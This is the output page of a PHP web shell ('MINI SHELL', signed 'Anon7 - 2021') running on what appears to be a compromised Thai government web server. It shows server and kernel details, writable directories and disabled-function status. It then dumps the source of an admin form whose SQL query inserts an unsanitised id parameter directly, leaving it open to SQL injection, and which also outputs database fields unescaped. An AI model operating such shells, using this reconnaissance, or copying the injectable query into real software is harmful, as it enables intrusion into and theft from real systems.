MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/pdir/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/pdir/admin/officer_edit_form.php
<?
 include ("../../../inc/conndb.inc.php");
$sql = "  SELECT  *  FROM  officer  WHERE officer.id = '$id'  "; 
//  echo $sql;
 $query_result=mysql_db_query($dbname,$sql);
 $result =  mysql_fetch_array($query_result); 
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>แก้ไขหัวหน้าส่วนราชการ</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
<script src="../../../common/functions.js" type="text/javascript" language="javascript"></script>
<link href="../../../common/basiccss.css" rel="stylesheet" type="text/css">

<style type="text/css">
<!--
body {
	background-color: #EFEFEF;
}
-->
</style></head><body>
<form action="officer_edit.php" method="post" enctype="multipart/form-data" name="form2" > 
<table width="657" border="0" align="center" cellspacing="1">
  <tr>
    <td colspan="2" rowspan="5" align="center" bgcolor="#a3b2cc">
<?	if 	   ($result[images] != ""){		?>		

<a href="show_person.php?tbname=officer&idfield=ID&idsearch=<?=$id?>&imgfield=images&url=officer_edit_form.php" target="_blank"><img src=show_person.php?tbname=officer&idfield=ID&idsearch=<?=$id?>&imgfield=images&url=officer_edit_form.php   width="100" height="130" vspace="5" border="0"></a>
<a href="del_img.php?tbname=officer&idfield=ID&idsearch=<?=$id?>&imgfield=images">
<img src='../../../images_sys/b_drop.png' width="16" height="16"  border="0" alt=" ลบรูปนี้ "></a>
      <?	} else  {   	  
	 echo "  <img src='../../../images_sys/no_pic.jpg' width='90' height='70' > ";
	   }?>      </td>
    <td width="118" bgcolor="#a3b2cc">&nbsp;&nbsp;ตำแหน่ง :   *</td>
    <td width="207"><input name="position" type="text" id="position" value="<?=$result[position]?>" size="32"></td>
  </tr>
  <tr>
    <td width="118" bgcolor="#a3b2cc">&nbsp;คำนำหน้า : * </td>
    <td><input name="title" type="text" id="title2" value="<?=$result[title]?>" size="32"></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">&nbsp;ชื่อ : *</td>
    <td><input name="th_name"  type="text" id="th_name" value="<?=$result[th_name]?>" size="32"></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">&nbsp;นามสกุล : * </td>
    <td><input name="th_sname" type="text" id="th_sname" value="<?=$result[th_sname]?>" size="32"></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">โทรศัพท์ (ที่ทำงาน) :</td>
    <td><input name="home_tel2" type="text" id="home_tel" value="<?=$result[office_tel]?>" size="32"></td>
  </tr>
  <tr>
    <td width="71" bgcolor="#a3b2cc"><?
$groupid  =  $result[groupid]   ;
?></td>
    <td width="248"><input name="file1" type="file" id="file1">	 </td>
    <td bgcolor="#a3b2cc">โทรศัพท์ (ที่พัก) :</td>
    <td><input name="home_tel" type="text" id="home_tel2" value="<?=$result[home_tel]?>" size="32"></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">&nbsp; </td>
    <td> 
	<select name="group1" id="group1">
<?
		$sql9  =  "  SELECT * FROM officer_level order by  level desc  ";
		$query_result9=mysql_db_query($dbname,$sql9);	
		while($result9= mysql_fetch_array($query_result9)){
			if ($result9[level] ==  $groupid ){
				echo "   <option value='$result9[level]' selected>    $result9[namealias]    </option>   ";			
			}else{
				echo "   <option value='$result9[level]'  >    $result9[namealias]    </option>   ";						
			}  // end if
		} // end while
?>						 
            </select>	</td>
    <td bgcolor="#A3B2CC">&nbsp;มือถือ : </td>
    <td><input name="mobile" type="text" id="mobile3" value="<?=$result[mobile]?>" size="32"></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">&nbsp;E-mail :</td>
    <td colspan="3"><input name="email" type="text" id="email2" value="<?=$result[email]?>" size="32"></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">&nbsp;ชื่อหน่วยงาน : </td>
    <td colspan="3">
	<select name="office_id" id="office_id">	 
	<?
	 $sql2 = " SELECT * FROM  office_detail ORDER BY th_name ASC ";
	 $query_result2 = mysql_db_query($dbname,$sql2);
	 while ($result2 = mysql_fetch_array($query_result2))   {
	?>
    <option value="<?=$result2[id]?>"  <?  if ($result2[id] == $result[office_id]  ){ echo "selected"  ;}?>    > <?=$result2[th_name]?></option>
    <?  }  ?>
	</select></td>
  </tr>
  <tr align="center" bgcolor="#a3b2cc">
    <td colspan="4">

     <input type="submit" name="Submit" value=" ตกลง ">
     &nbsp;	<input type="reset" name="Reset" value="ยกเลิก" onClick="window.close();">
	<input name="id" type="hidden" value="<?=$id?>"></td>
    </tr>
  </table>
</form>
</body>
</html>

Anon7 - 2021